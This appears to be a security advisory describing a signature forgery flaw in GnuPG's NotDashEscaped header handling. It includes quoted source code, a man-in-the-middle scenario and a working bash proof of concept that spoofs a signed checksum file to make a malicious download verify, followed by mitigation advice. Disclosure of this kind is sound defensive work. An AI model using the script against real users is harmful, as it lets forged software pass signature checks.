Cleartext Signature Forgery in the NotDashEscaped header implementation in GnuPG
A vulnerability in GnuPG allows stuffing additional data in the Cleartext Signature Framework.
Impact
Exploitation allows appending additional data after a valid BEGIN PGP SIGNED MESSAGE Armor Header Line and thereby potentially deceiving a GnuPG user about the actual signed data while preserving cryptographic integrity.
This is possible for any
- Cleartext signature that was generated using
--not-dash-escaped - Detached signature, by converting it into a cleartext signature
Details
GnuPG supports a command line flag --not-dash-escaped.
It was introduced to generate cleartext signatures of messages that have leading dashes -, such as patch files.
To support this, GnuPG decided to diverge from the RFC specification, and introduce a new header named “NotDashEscaped”.
Furthermore, modern versions of the RFC explicitly state:
Between the -----BEGIN PGP SIGNED MESSAGE----- line and the first empty line, the only Armor Header permitted is a well-formed Hash Armor Header (see Section 6.2.2.3). To reduce the risk of confusion about what has been signed, a verifying implementation MUST decline to validate any signature in a cleartext message if that message has any other Armor Header present in this location.
When clearsigning a message with --not-dash-escaped GnuPG adds this line to the header.
if (opt.not_dash_escaped)
iobuf_writestr (out,
"NotDashEscaped: You need "GPG_NAME
" to verify this message" LF); Where GPG_NAME varries between versions.
Crucially, the header line itself does not contribute to the signature.
Verification header line parsing accepts any non-empty sequence of characters following ‘NotDashEscaped:’ up to the first \n’ character.
if( (hashes=parse_hash_header( line )) )
afx->hashes |= hashes;
else if( strlen(line) > 15 && !memcmp( line, "NotDashEscaped:", 15 ) )
afx->not_dash_escaped = 1; By doing so, GnuPG disregards the security warning in their own comment above parse_hash_header and warnings in the RFC.
/****************
* check whether the armor header is valid on a signed message.
* this is for security reasons: the header lines are not included in the
* hash and by using some creative formatting rules, Mallory could fake
* any text at the beginning of a document; assuming it is read with
* a simple viewer. We only allow the Hash Header.
*/
static int
parse_hash_header( const char *line ) Detailed steps to reproduce
Bob wants to download and verify an Arch Linux ISO. Over a trusted channel, he obtained the release signing key of the project via a trusted channel. He imports and trust it. Over an untrusted channel, on which Mallory has an MITM role, Bob proceeds to download the ISO file alongside the cryptographic signatures. Mallory converts the detached signature to a cleartext signature, and adds a NotDashEscaped, alongside non-standard line breaks. Having the hash of his download be part of the signed texts, Bob trusts and runs the malicous ISO.
#!/usr/bin/env bash
# needs curl, gpg, sq (sequoia-sq)
FILE=$(curl -s https://mirrors.sonic.net/archlinux/images/latest/ | sed -E 's%.*href="(.*cloudimg-.*qcow2)".*|.*%\1%' | xargs)
curl -sO https://mirrors.sonic.net/archlinux/images/latest/$FILE.SHA256
curl -sO https://mirrors.sonic.net/archlinux/images/latest/$FILE.SHA256.sig
echo malicious > ${FILE/cloudimg/basic}
(
cat <<EOF
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
NotDashEscaped: true%i
%
$(sha256sum ${FILE/cloudimg/basic})
$(cat *.SHA256)
$(cat *.SHA256.sig | sq packet join)
EOF
) | sed -z 's/%i/%0%v%v%r%r%/g;s/%0/ /g;s/%\n//g;s/%v//g;s/%r/\r/g' | tee spoofed.sig
curl -s https://gitlab.archlinux.org/archlinux/arch-boxes/-/raw/master/README.md | gpg --import 2>/dev/null
gpg --verify spoofed.sig Discussion
Due to GnuPG handling end-of-line canonicalization differently when used with --not-dash-escaped not all clearsigned messages can be stuffed by just adding the header + injected text. However, practical exploitation scenarios include, but are not necessary limited to, (1) converting a detached signature into a cleartext signature or (2) modifying a cleartext signature that already contains the “NotDashEscaped” header.
There is an additional constraint of the injected text not pros an ‘\n’ character.
Therefore, when parsing a mallicious file with a 3rd party downstream tool, such as some implementations of the sha512sum utility, it may catch the injection.
Recommendation
Removal of the Cleartext Signature Framework from the OpenPGP standard helps resolve the issues with the Cleartext Signature Framework. Furthermore, deprecation allows for a graceful phase-out.
OpenPGP users should avoid using cleartext signatures, as is also recommended by GnuPG.
GnuPG should implement the signature validation constraints from the RFC to mitigate the issues with the Cleartext Signature Framework.
To prevent confusion about the actual signed data, OpenPGP implementations should output the data bound by the signature during validation by default. sequoia-sq does so. GnuPG does not and requires the --output option to be set.
When working with OpenPGP signatures in general, users should instruct their PGP implementation to output the signed data and only use this output for any further or related tasks.